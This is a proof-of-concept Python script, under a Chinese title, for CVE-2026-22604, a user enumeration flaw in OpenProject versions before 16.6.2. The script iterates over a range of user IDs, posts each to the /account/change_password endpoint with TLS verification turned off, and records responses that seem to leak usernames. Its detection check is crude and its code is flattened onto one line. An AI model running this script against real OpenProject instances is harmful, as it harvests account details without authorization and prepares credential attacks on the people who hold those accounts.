CVE-2026-22604 OpenProject用户枚举漏洞

import requests import sys # CVE-2026-22604 PoC - OpenProject User Enumeration # Target: OpenProject instances < 16.6.2 # Endpoint: /account/change_password def enumerate_users(target_url, user_ids): """ Enumerate usernames from OpenProject via /account/change_password endpoint """ found_users = [] endpoint = f"{target_url.rstrip('/')}/account/change_password" for user_id in user_ids: # Send POST request with arbitrary user_id data = { 'password_change_user_id': str(user_id), 'form_submit': '1' } try: response = requests.post(endpoint, data=data, timeout=10, verify=False) # Check if username is leaked in response # The error page reveals the username for the requested user ID if response.status_code == 200: # Extract potential username from error message # Pattern varies, typically found in error messages or page content text = response.text # Look for common patterns indicating username exposure if 'user' in text.lower() or 'username' in text.lower(): print(f"[*] User ID {user_id}: Potential username found in response") found_users.append({'user_id': user_id, 'response_length': len(text)}) else: print(f"[-] User ID {user_id}: No username found") else: print(f"[-] User ID {user_id}: HTTP {response.status_code}") except requests.RequestException as e: print(f"[!] Error for User ID {user_id}: {e}") return found_users if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python cve-2026-22604-poc.py <target_url> [start_id] [end_id]") print("Example: python cve-2026-22604-poc.py https://openproject.example.com 1 1000") sys.exit(1) target = sys.argv[1] start_id = int(sys.argv[2]) if len(sys.argv) > 2 else 1 end_id = int(sys.argv[3]) if len(sys.argv) > 3 else 100 user_ids = range(start_id, end_id + 1) print(f"[*] Starting enumeration against {target}") print(f"[*] Enumerating user IDs {start_id} to {end_id}") results = enumerate_users(target, user_ids) print(f"\n[*] Found {len(results)} potential usernames")